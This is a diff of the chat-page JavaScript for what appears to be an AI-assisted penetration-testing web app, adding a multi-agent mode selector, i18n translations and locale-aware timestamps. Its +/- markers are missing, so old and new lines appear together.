function toggleAgentModePanel() {
const panel = document.getElementById('agent-mode-panel');
const btn = document.getElementById('agent-mode-btn');
if (!panel || !btn) return;
const isOpen = panel.style.display === 'flex';
if (isOpen) {
closeAgentModePanel();
return;
}
if (typeof closeRoleSelectionPanel === 'function') {
closeRoleSelectionPanel();
}
panel.style.display = 'flex';
btn.classList.add('active');
btn.setAttribute('aria-expanded', 'true');
}
function selectAgentMode(mode) {
if (mode !== 'single' && mode !== 'multi') return;
try {
localStorage.setItem(AGENT_MODE_STORAGE_KEY, mode);
} catch (e) { /* ignore */ }
syncAgentModeFromValue(mode);
closeAgentModePanel();
}
async function initChatAgentModeFromConfig() {
try {
const r = await apiFetch('/api/config');
if (!r.ok) return;
const cfg = await r.json();
multiAgentAPIEnabled = !!(cfg.multi_agent && cfg.multi_agent.enabled);
if (typeof window !== 'undefined') {
window.__csaiMultiAgentPublic = cfg.multi_agent || null;
}
const wrap = document.getElementById('agent-mode-wrapper');
const sel = document.getElementById('agent-mode-select');
if (!wrap || !sel) return;
if (!multiAgentAPIEnabled) {
wrap.style.display = 'none';
return;
}
wrap.style.display = '';
const def = (cfg.multi_agent && cfg.multi_agent.default_mode === 'multi') ? 'multi' : 'single';
let stored = localStorage.getItem(AGENT_MODE_STORAGE_KEY);
if (stored !== 'single' && stored !== 'multi') {
stored = def;
}
sel.value = stored;
syncAgentModeFromValue(stored);
} catch (e) {
console.warn('initChatAgentModeFromConfig', e);
}
}
document.addEventListener('languagechange', function () {
const hid = document.getElementById('agent-mode-select');
if (!hid) return;
const v = hid.value;
if (v === 'single' || v === 'multi') {
syncAgentModeFromValue(v);
}
});
// 保存输入框草稿到localStorage(防抖版本)
function saveChatDraftDebounced(content) {
// 清除之前的定时器
@@ -191,7 +293,10 @@ async function sendMessage() {
let mcpExecutionIds = [];
try {
const response = await apiFetch('/api/agent-loop/stream', {
const modeSel = document.getElementById('agent-mode-select');
const useMulti = multiAgentAPIEnabled && modeSel && modeSel.value === 'multi';
const streamPath = useMulti ? '/api/multi-agent/stream' : '/api/agent-loop/stream';
const response = await apiFetch(streamPath, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
@@ -755,7 +860,7 @@ function renderMentionSuggestions({ showLoading = false } = {}) {
const disabledClass = toolEnabled ? '' : 'disabled';
const badge = tool.isExternal ? '<span class="mention-item-badge">外部</span>' : '<span class="mention-item-badge internal">内置</span>';
const nameHtml = escapeHtml(tool.name);
const description = tool.description && tool.description.length > 0 ? escapeHtml(tool.description) : '暂无描述';
const description = tool.description && tool.description.length > 0 ? escapeHtml(tool.description) : (typeof window.t === 'function' ? window.t('chat.noDescription') : '暂无描述');
const descHtml = `<div class="mention-item-desc">${description}</div>`;
// 根据工具在当前角色中的启用状态显示状态标签
const statusLabel = toolEnabled ? '可用' : (tool.roleEnabled !== undefined ? '已禁用(当前角色)' : '已禁用');
@@ -953,7 +1058,7 @@ function initializeChatUI() {
const messagesDiv = document.getElementById('chat-messages');
if (messagesDiv && messagesDiv.childElementCount === 0) {
const readyMsg = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
addMessage('assistant', readyMsg);
addMessage('assistant', readyMsg, null, null, null, { systemReadyMessage: true });
}
addAttackChainButton(currentConversationId);
@@ -989,8 +1094,60 @@ function wrapTablesInBubble(bubble) {
});
}
// 添加消息
function addMessage(role, content, mcpExecutionIds = null, progressId = null, createdAt = null) {
/**
* 系统已就绪类文案按当前语言重新渲染进气泡 addMessage 助手分支一致的安全处理
*/
function refreshSystemReadyMessageBubbles() {
if (typeof window.t !== 'function') return;
const text = window.t('chat.systemReadyMessage');
const escapeHtmlLocal = (s) => {
if (!s) return '';
const div = document.createElement('div');
div.textContent = s;
return div.innerHTML;
};
const defaultSanitizeConfig = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
ALLOW_DATA_ATTR: false,
};
let formattedContent;
if (typeof marked !== 'undefined') {
try {
marked.setOptions({ breaks: true, gfm: true });
const parsed = marked.parse(text);
formattedContent = typeof DOMPurify !== 'undefined'
? DOMPurify.sanitize(parsed, defaultSanitizeConfig)
: parsed;
} catch (e) {
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
}
} else {
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
}
document.querySelectorAll('.message.assistant[data-system-ready-message]').forEach(function (messageDiv) {
const bubble = messageDiv.querySelector('.message-bubble');
if (!bubble) return;
const copyBtn = bubble.querySelector('.message-copy-btn');
if (copyBtn) copyBtn.remove();
bubble.innerHTML = formattedContent;
if (typeof wrapTablesInBubble === 'function') wrapTablesInBubble(bubble);
messageDiv.dataset.originalContent = text;
const copyBtnNew = document.createElement('button');
copyBtnNew.className = 'message-copy-btn';
copyBtnNew.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" fill="none"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" fill="none"/></svg><span>' + window.t('common.copy') + '</span>';
copyBtnNew.title = window.t('chat.copyMessageTitle');
copyBtnNew.onclick = function (e) {
e.stopPropagation();
copyMessageToClipboard(messageDiv, this);
};
bubble.appendChild(copyBtnNew);
});
}
// 添加消息(options.systemReadyMessage 为 true 时,语言切换会刷新该条文案)
function addMessage(role, content, mcpExecutionIds = null, progressId = null, createdAt = null, options = null) {
const messagesDiv = document.getElementById('chat-messages');
const messageDiv = document.createElement('div');
messageCounter++;
@@ -1188,11 +1345,17 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
} else {
messageTime = new Date();
}
timeDiv.textContent = messageTime.toLocaleTimeString('zh-CN', { hour: '2-digit', minute: '2-digit' });
const msgTimeLocale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
const msgTimeOpts = { hour: '2-digit', minute: '2-digit' };
if (msgTimeLocale === 'zh-CN') msgTimeOpts.hour12 = false;
timeDiv.textContent = messageTime.toLocaleTimeString(msgTimeLocale, msgTimeOpts);
try {
timeDiv.dataset.messageTime = messageTime.toISOString();
} catch (e) { /* ignore */ }
contentWrapper.appendChild(timeDiv);
// 如果有MCP执行ID或进度ID,添加查看详情区域(统一使用"渗透测试详情"样式
if (role === 'assistant' && ((mcpExecutionIds && Array.isArray(mcpExecutionIds) && mcpExecutionIds.length > 0) || progressId)) {
// 有 MCP 执行记录且非流式占位消息时展示调用按钮;带 progressId 的流式占位不挂此条(与进度卡片一致,结束时 integrate 再创建
if (role === 'assistant' && (mcpExecutionIds && Array.isArray(mcpExecutionIds) && mcpExecutionIds.length > 0) && !progressId) {
const mcpSection = document.createElement('div');
mcpSection.className = 'mcp-call-section';
@@ -1204,35 +1367,24 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
const buttonsContainer = document.createElement('div');
buttonsContainer.className = 'mcp-call-buttons';
// 如果有MCP执行ID,添加MCP调用详情按钮
if (mcpExecutionIds && Array.isArray(mcpExecutionIds) && mcpExecutionIds.length > 0) {
mcpExecutionIds.forEach((execId, index) => {
const detailBtn = document.createElement('button');
detailBtn.className = 'mcp-detail-btn';
detailBtn.innerHTML = `<span>调用 #${index + 1}</span>`;
detailBtn.onclick = () => showMCPDetail(execId);
buttonsContainer.appendChild(detailBtn);
// 异步获取工具名称并更新按钮文本
updateButtonWithToolName(detailBtn, execId, index + 1);
});
}
// 如果有进度ID,添加展开详情按钮(统一使用"展开详情"文本)
if (progressId) {
const progressDetailBtn = document.createElement('button');
progressDetailBtn.className = 'mcp-detail-btn process-detail-btn';
progressDetailBtn.innerHTML = '<span>' + (typeof window.t === 'function' ? window.t('chat.expandDetail') : '展开详情') + '</span>';
progressDetailBtn.onclick = () => toggleProcessDetails(progressId, messageDiv.id);
buttonsContainer.appendChild(progressDetailBtn);
// 存储进度ID到消息元素
messageDiv.dataset.progressId = progressId;
}
mcpExecutionIds.forEach((execId, index) => {
const detailBtn = document.createElement('button');
detailBtn.className = 'mcp-detail-btn';
detailBtn.innerHTML = '<span>' + (typeof window.t === 'function' ? window.t('chat.callNumber', { n: index + 1 }) : '调用 #' + (index + 1)) + '</span>';
detailBtn.onclick = () => showMCPDetail(execId);
buttonsContainer.appendChild(detailBtn);
updateButtonWithToolName(detailBtn, execId, index + 1);
});
mcpSection.appendChild(buttonsContainer);
contentWrapper.appendChild(mcpSection);
}
messageDiv.appendChild(contentWrapper);
// 标记「系统就绪」占位消息,便于切换语言后刷新文案
if (options && options.systemReadyMessage) {
messageDiv.setAttribute('data-system-ready-message', '1');
}
messagesDiv.appendChild(messageDiv);
messagesDiv.scrollTop = messagesDiv.scrollHeight;
return id;
@@ -1265,7 +1417,7 @@ function copyMessageToClipboard(messageDiv, button) {
showCopySuccess(button);
}).catch(err => {
console.error('复制失败:', err);
alert('复制失败,请手动选择内容复制');
alert(typeof window.t === 'function' ? window.t('chat.copyFailedManual') : '复制失败,请手动选择内容复制');
});
}
return;
@@ -1276,11 +1428,11 @@ function copyMessageToClipboard(messageDiv, button) {
showCopySuccess(button);
}).catch(err => {
console.error('复制失败:', err);
alert('复制失败,请手动选择内容复制');
alert(typeof window.t === 'function' ? window.t('chat.copyFailedManual') : '复制失败,请手动选择内容复制');
});
} catch (error) {
console.error('复制消息时出错:', error);
alert('复制失败,请手动选择内容复制');
alert(typeof window.t === 'function' ? window.t('chat.copyFailedManual') : '复制失败,请手动选择内容复制');
}
}
@@ -1399,41 +1551,52 @@ function renderProcessDetails(messageId, processDetails) {
timeline.innerHTML = '';
function processDetailAgentPrefix(d) {
if (!d || d.einoAgent == null) return '';
const s = String(d.einoAgent).trim();
return s ? ('[' + s + '] ') : '';
}
// 渲染每个过程详情事件
processDetails.forEach(detail => {
const eventType = detail.eventType || '';
const title = detail.message || '';
const data = detail.data || {};
const agPx = processDetailAgentPrefix(data);
// 根据事件类型渲染不同的内容
let itemTitle = title;
if (eventType === 'iteration') {
itemTitle = `${data.iteration || 1} 轮迭代`;
itemTitle = agPx + (typeof window.t === 'function' ? window.t('chat.iterationRound', { n: data.iteration || 1 }) : '第 ' + (data.iteration || 1) + ' 轮迭代');
} else if (eventType === 'thinking') {
itemTitle = '🤔 AI思考';
itemTitle = agPx + '🤔 ' + (typeof window.t === 'function' ? window.t('chat.aiThinking') : 'AI思考');
} else if (eventType === 'tool_calls_detected') {
itemTitle = `🔧 检测到 ${data.count || 0} 个工具调用`;
itemTitle = agPx + '🔧 ' + (typeof window.t === 'function' ? window.t('chat.toolCallsDetected', { count: data.count || 0 }) : '检测到 ' + (data.count || 0) + ' 个工具调用');
} else if (eventType === 'tool_call') {
const toolName = data.toolName || '未知工具';
const toolName = data.toolName || (typeof window.t === 'function' ? window.t('chat.unknownTool') : '未知工具');
const index = data.index || 0;
const total = data.total || 0;
itemTitle = `🔧 调用工具: ${escapeHtml(toolName)} (${index}/${total})`;
itemTitle = agPx + '🔧 ' + (typeof window.t === 'function' ? window.t('chat.callTool', { name: escapeHtml(toolName), index: index, total: total }) : '调用工具: ' + escapeHtml(toolName) + ' (' + index + '/' + total + ')');
} else if (eventType === 'tool_result') {
const toolName = data.toolName || '未知工具';
const toolName = data.toolName || (typeof window.t === 'function' ? window.t('chat.unknownTool') : '未知工具');
const success = data.success !== false;
const statusIcon = success ? '✅' : '❌';
itemTitle = `${statusIcon} 工具 ${escapeHtml(toolName)} 执行${success ? '完成' : '失败'}`;
// 如果是知识检索工具,添加特殊标记
const execText = success ? (typeof window.t === 'function' ? window.t('chat.toolExecComplete', { name: escapeHtml(toolName) }) : '工具 ' + escapeHtml(toolName) + ' 执行完成') : (typeof window.t === 'function' ? window.t('chat.toolExecFailed', { name: escapeHtml(toolName) }) : '工具 ' + escapeHtml(toolName) + ' 执行失败');
let execLine = statusIcon + ' ' + execText;
if (toolName === BuiltinTools.SEARCH_KNOWLEDGE_BASE && success) {
itemTitle = `📚 ${itemTitle} - 知识检索`;
execLine = '📚 ' + execLine + ' - ' + (typeof window.t === 'function' ? window.t('chat.knowledgeRetrievalTag') : '知识检索');
}
itemTitle = agPx + execLine;
} else if (eventType === 'eino_agent_reply') {
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
} else if (eventType === 'knowledge_retrieval') {
itemTitle = '📚 知识检索';
itemTitle = '📚 ' + (typeof window.t === 'function' ? window.t('chat.knowledgeRetrieval') : '知识检索');
} else if (eventType === 'error') {
itemTitle = '❌ 错误';
itemTitle = '❌ ' + (typeof window.t === 'function' ? window.t('chat.error') : '错误');
} else if (eventType === 'cancelled') {
itemTitle = '⛔ 任务已取消';
itemTitle = '⛔ ' + (typeof window.t === 'function' ? window.t('chat.taskCancelled') : '任务已取消');
} else if (eventType === 'progress') {
itemTitle = typeof window.translateProgressMessage === 'function' ? window.translateProgressMessage(detail.message || '') : (detail.message || '');
}
addTimelineItem(timeline, eventType, {
@@ -1509,7 +1672,7 @@ async function updateButtonWithToolName(button, executionId, index) {
const response = await apiFetch(`/api/monitor/execution/${executionId}`);
if (response.ok) {
const exec = await response.json();
const toolName = exec.toolName || '未知工具';
const toolName = exec.toolName || (typeof window.t === 'function' ? window.t('chat.unknownTool') : '未知工具');
// 格式化工具名称(如果是 name::toolName 格式,只显示 toolName 部分)
const displayToolName = toolName.includes('::') ? toolName.split('::')[1] : toolName;
button.querySelector('span').textContent = `${displayToolName} #${index}`;
@@ -1528,15 +1691,25 @@ async function showMCPDetail(executionId) {
if (response.ok) {
// 填充模态框内容
document.getElementById('detail-tool-name').textContent = exec.toolName || 'Unknown';
document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown');
document.getElementById('detail-execution-id').textContent = exec.id || 'N/A';
const statusEl = document.getElementById('detail-status');
const normalizedStatus = (exec.status || 'unknown').toLowerCase();
statusEl.textContent = getStatusText(exec.status);
statusEl.className = `status-chip status-${normalizedStatus}`;
document.getElementById('detail-time').textContent = exec.startTime
? new Date(exec.startTime).toLocaleString('zh-CN')
: '—';
try {
statusEl.dataset.detailStatus = (exec.status || '') + '';
} catch (e) { /* ignore */ }
const detailTimeLocale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
const detailTimeEl = document.getElementById('detail-time');
if (detailTimeEl) {
detailTimeEl.textContent = exec.startTime
? new Date(exec.startTime).toLocaleString(detailTimeLocale)
: '—';
try {
detailTimeEl.dataset.detailTimeIso = exec.startTime ? new Date(exec.startTime).toISOString() : '';
} catch (e) { /* ignore */ }
}
// 请求参数
const requestData = {
@@ -1598,22 +1771,22 @@ async function showMCPDetail(executionId) {
successText = content.text;
}
if (!successText) {
successText = '执行成功,未返回可展示的文本内容。';
successText = typeof window.t === 'function' ? window.t('mcpDetailModal.execSuccessNoContent') : '执行成功,未返回可展示的文本内容。';
}
successElement.textContent = successText;
}
}
} else {
responseElement.textContent = '暂无响应数据';
responseElement.textContent = typeof window.t === 'function' ? window.t('chat.noResponseData') : '暂无响应数据';
}
// 显示模态框
document.getElementById('mcp-detail-modal').style.display = 'block';
} else {
alert('获取详情失败: ' + (exec.error || '未知错误'));
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
}
} catch (error) {
alert('获取详情失败: ' + error.message);
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message);
}
}
@@ -1709,7 +1882,7 @@ async function startNewConversation() {
currentConversationGroupId = null; // 新对话不属于任何分组
document.getElementById('chat-messages').innerHTML = '';
const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
addMessage('assistant', readyMsgNew);
addMessage('assistant', readyMsgNew, null, null, null, { systemReadyMessage: true });
addAttackChainButton(null);
updateActiveConversation();
// 刷新分组列表,清除分组高亮
@@ -1749,12 +1922,13 @@ async function loadConversations(searchQuery = '') {
const sidebarContent = listContainer.closest('.sidebar-content');
const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;">暂无历史对话</div>';
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
listContainer.innerHTML = '';
// 如果响应不是200,显示空状态(友好处理,不显示错误)
if (!response.ok) {
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
return;
}
@@ -1762,6 +1936,7 @@ async function loadConversations(searchQuery = '') {
if (!Array.isArray(conversations) || conversations.length === 0) {
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
return;
}
@@ -1827,6 +2002,7 @@ async function loadConversations(searchQuery = '') {
if (!rendered) {
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
return;
}
@@ -1845,8 +2021,9 @@ async function loadConversations(searchQuery = '') {
// 错误时显示空状态,而不是错误提示(更友好的用户体验)
const listContainer = document.getElementById('conversations-list');
if (listContainer) {
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;">暂无历史对话</div>';
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
}
}
}
@@ -1947,34 +2124,27 @@ function formatConversationTimestamp(dateObj, todayStart, yesterdayStart) {
const referenceToday = todayStart || new Date(now.getFullYear(), now.getMonth(), now.getDate());
const referenceYesterday = yesterdayStart || new Date(referenceToday.getTime() - 24 * 60 * 60 * 1000);
const messageDate = new Date(dateObj.getFullYear(), dateObj.getMonth(), dateObj.getDate());
const fmtLocale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
const yesterdayLabel = typeof window.t === 'function' ? window.t('chat.yesterday') : '昨天';
const timeOnlyOpts = { hour: '2-digit', minute: '2-digit' };
const dateTimeOpts = { month: 'short', day: 'numeric', hour: '2-digit', minute: '2-digit' };
const fullDateOpts = { year: 'numeric', month: 'short', day: 'numeric', hour: '2-digit', minute: '2-digit' };
if (fmtLocale === 'zh-CN') {
timeOnlyOpts.hour12 = false;
dateTimeOpts.hour12 = false;
fullDateOpts.hour12 = false;
}
if (messageDate.getTime() === referenceToday.getTime()) {
return dateObj.toLocaleTimeString('zh-CN', {
hour: '2-digit',
minute: '2-digit'
});
return dateObj.toLocaleTimeString(fmtLocale, timeOnlyOpts);
}
if (messageDate.getTime() === referenceYesterday.getTime()) {
return '昨天 ' + dateObj.toLocaleTimeString('zh-CN', {
hour: '2-digit',
minute: '2-digit'
});
return yesterdayLabel + ' ' + dateObj.toLocaleTimeString(fmtLocale, timeOnlyOpts);
}
if (dateObj.getFullYear() === referenceToday.getFullYear()) {
return dateObj.toLocaleString('zh-CN', {
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit'
});
return dateObj.toLocaleString(fmtLocale, dateTimeOpts);
}
return dateObj.toLocaleString('zh-CN', {
year: 'numeric',
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit'
});
return dateObj.toLocaleString(fmtLocale, fullDateOpts);
}
function getConversationGroup(dateObj, todayStart, startOfWeek, yesterdayStart) {
@@ -2118,7 +2288,7 @@ async function loadConversation(conversationId) {
});
} else {
const readyMsgEmpty = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
addMessage('assistant', readyMsgEmpty);
addMessage('assistant', readyMsgEmpty, null, null, null, { systemReadyMessage: true });
}
// 滚动到底部
@@ -2159,7 +2329,7 @@ async function deleteConversation(conversationId, skipConfirm = false) {
currentConversationId = null;
document.getElementById('chat-messages').innerHTML = '';
const readyMsgLoad = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
addMessage('assistant', readyMsgLoad);
addMessage('assistant', readyMsgLoad, null, null, null, { systemReadyMessage: true });
addAttackChainButton(null);
}
@@ -2173,8 +2343,16 @@ async function deleteConversation(conversationId, skipConfirm = false) {
await loadGroupConversations(currentGroupId);
}
// 刷新对话列表
loadConversations();
// 刷新对话列表(使用分组接口以与其他入口一致)
if (typeof loadConversationsWithGroups === 'function') {
loadConversationsWithGroups();
} else if (typeof loadConversations === 'function') {
loadConversations();
}
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
try {
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
} catch (e) { /* ignore */ }
} catch (error) {
console.error('删除对话失败:', error);
alert('删除对话失败: ' + error.message);
@@ -2247,11 +2425,13 @@ async function showAttackChain(conversationId) {
}
modal.style.display = 'block';
// 打开时立即按当前语言刷新统计(避免红框内仍显示硬编码中文)
updateAttackChainStats({ nodes: [], edges: [] });
// 清空容器
const container = document.getElementById('attack-chain-container');
if (container) {
container.innerHTML = '<div class="loading-spinner">加载中...</div>';
container.innerHTML = '<div class="loading-spinner">' + (typeof window.t === 'function' ? window.t('chat.loading') : '加载中...') + '</div>';
}
// 隐藏详情面板
@@ -2351,7 +2531,7 @@ async function loadAttackChain(conversationId) {
console.error('加载攻击链失败:', error);
const container = document.getElementById('attack-chain-container');
if (container) {
container.innerHTML = `<div class="error-message">加载失败: ${error.message}</div>`;
container.innerHTML = '<div class="error-message">' + (typeof window.t === 'function' ? window.t('chat.loadFailed', { message: error.message }) : '加载失败: ' + error.message) + '</div>';
}
// 错误时也重置加载状态
setAttackChainLoading(conversationId, false);
@@ -2377,7 +2557,7 @@ function renderAttackChain(chainData) {
container.innerHTML = '';
if (!chainData.nodes || chainData.nodes.length === 0) {
container.innerHTML = '<div class="empty-message">暂无攻击链数据</div>';
container.innerHTML = '<div class="empty-message">' + (typeof window.t === 'function' ? window.t('chat.noAttackChainData') : '暂无攻击链数据') + '</div>';
return;
}
@@ -3322,16 +3502,35 @@ function getNodeTypeLabel(type) {
return labels[type] || type;
}
// 更新统计信息
// 更新统计信息(使用 i18n,与 attackChainModal.nodesEdges 一致)
function updateAttackChainStats(chainData) {
const statsElement = document.getElementById('attack-chain-stats');
if (statsElement) {
const nodeCount = chainData.nodes ? chainData.nodes.length : 0;
const edgeCount = chainData.edges ? chainData.edges.length : 0;
statsElement.textContent = `节点: ${nodeCount} | 边: ${edgeCount}`;
if (typeof window.t === 'function') {
statsElement.textContent = window.t('attackChainModal.nodesEdges', {
nodes: nodeCount,
edges: edgeCount
});
} else {
statsElement.textContent = `Nodes: ${nodeCount} | Edges: ${edgeCount}`;
}
}
}
// 语言切换时刷新攻击链统计文案(动态 textContent 不会随 applyTranslations 更新)
document.addEventListener('languagechange', function () {
if (window.attackChainOriginalData && typeof updateAttackChainStats === 'function') {
updateAttackChainStats(window.attackChainOriginalData);
} else {
const statsEl = document.getElementById('attack-chain-stats');
if (statsEl && typeof window.t === 'function') {
statsEl.textContent = window.t('attackChainModal.nodesEdges', { nodes: 0, edges: 0 });
}
}
});
// 关闭节点详情
function closeNodeDetails() {
const detailsPanel = document.getElementById('attack-chain-details');
@@ -3994,12 +4193,13 @@ async function loadConversationsWithGroups(searchQuery = '') {
const sidebarContent = listContainer.closest('.sidebar-content');
const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;">暂无历史对话</div>';
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
listContainer.innerHTML = '';
// 如果响应不是200,显示空状态(友好处理,不显示错误)
if (!response.ok) {
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
return;
}
@@ -4007,6 +4207,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
if (!Array.isArray(conversations) || conversations.length === 0) {
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
return;
}
@@ -4068,6 +4269,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
if (fragment.children.length === 0) {
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
return;
}
@@ -4086,8 +4288,9 @@ async function loadConversationsWithGroups(searchQuery = '') {
// 错误时显示空状态,而不是错误提示(更友好的用户体验)
const listContainer = document.getElementById('conversations-list');
if (listContainer) {
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;">暂无历史对话</div>';
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
listContainer.innerHTML = emptyStateHtml;
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
}
}
}
@@ -5190,12 +5393,70 @@ function closeBatchManageModal() {
allConversationsForBatch = [];
}
// 语言切换时刷新批量管理模态框标题(若当前正在显示
// 语言切换时刷新当前聊天页内的时间与动态文案(消息时间、执行流程时间由 monitor 的 refreshProgressAndTimelineI18n 处理
function refreshChatPanelI18n() {
const locale = (typeof window.__locale === 'string' && window.__locale.startsWith('zh')) ? 'zh-CN' : 'en-US';
const timeOpts = { hour: '2-digit', minute: '2-digit' };
if (locale === 'zh-CN') timeOpts.hour12 = false;
const t = typeof window.t === 'function' ? window.t : function (k) { return k; };
const messagesEl = document.getElementById('chat-messages');
if (messagesEl) {
messagesEl.querySelectorAll('.message-time[data-message-time]').forEach(function (el) {
try {
const d = new Date(el.dataset.messageTime);
if (!isNaN(d.getTime())) {
el.textContent = d.toLocaleTimeString(locale, timeOpts);
}
} catch (e) { /* ignore */ }
});
messagesEl.querySelectorAll('.mcp-call-label').forEach(function (el) {
el.textContent = '\uD83D\uDCCB ' + t('chat.penetrationTestDetail');
});
messagesEl.querySelectorAll('.process-detail-btn').forEach(function (btn) {
const span = btn.querySelector('span');
if (!span) return;
const assistantEl = btn.closest('.message.assistant');
const messageId = assistantEl && assistantEl.id;
const detailsId = messageId ? 'process-details-' + messageId : '';
const timeline = detailsId ? document.getElementById(detailsId) && document.getElementById(detailsId).querySelector('.progress-timeline') : null;
const expanded = timeline && timeline.classList.contains('expanded');
span.textContent = expanded ? t('tasks.collapseDetail') : t('chat.expandDetail');
});
}
const mcpModal = document.getElementById('mcp-detail-modal');
if (mcpModal && mcpModal.style.display === 'block') {
const detailTimeEl = document.getElementById('detail-time');
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
try {
const d = new Date(detailTimeEl.dataset.detailTimeIso);
if (!isNaN(d.getTime())) {
detailTimeEl.textContent = d.toLocaleString(locale);
}
} catch (e) { /* ignore */ }
}
const statusEl = document.getElementById('detail-status');
if (statusEl && statusEl.dataset.detailStatus !== undefined && typeof getStatusText === 'function') {
statusEl.textContent = getStatusText(statusEl.dataset.detailStatus);
}
}
}
// 语言切换时刷新批量管理模态框标题(若当前正在显示);并刷新对话列表时间格式与系统就绪提示;刷新当前页消息时间与动态文案
document.addEventListener('languagechange', function () {
refreshSystemReadyMessageBubbles();
refreshChatPanelI18n();
const modal = document.getElementById('batch-manage-modal');
if (modal && modal.style.display === 'flex') {
updateBatchManageTitle(allConversationsForBatch.length);
}
// 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式
if (typeof loadConversationsWithGroups === 'function') {
loadConversationsWithGroups();
} else if (typeof loadConversations === 'function') {
loadConversations();
}
});
// 显示创建分组模态框
@@ -5336,9 +5597,10 @@ document.addEventListener('DOMContentLoaded', function() {
}
});
}
initChatAgentModeFromConfig();
});
// 点击外部关闭图标选择器
// 点击外部关闭图标选择器、对话模式面板
document.addEventListener('click', function(event) {
const picker = document.getElementById('group-icon-picker');
const iconBtn = document.getElementById('create-group-icon-btn');
@@ -5348,6 +5610,14 @@ document.addEventListener('click', function(event) {
picker.style.display = 'none';
}
}
const agentWrap = document.getElementById('agent-mode-wrapper');
const agentPanel = document.getElementById('agent-mode-panel');
if (agentWrap && agentPanel && agentPanel.style.display === 'flex') {
if (!agentWrap.contains(event.target)) {
closeAgentModePanel();
}
}
});
// 创建分组
@@ -5536,9 +5806,9 @@ async function loadGroupConversations(groupId, searchQuery = '') {
// 显示加载状态
if (searchQuery) {
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">搜索中...</div>';
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">' + (typeof window.t === 'function' ? window.t('chat.searching') : '搜索中...') + '</div>';
} else {
list.innerHTML = '<div style="padding: 40px; text-align: center; color: var(--text-muted);">加载中...</div>';
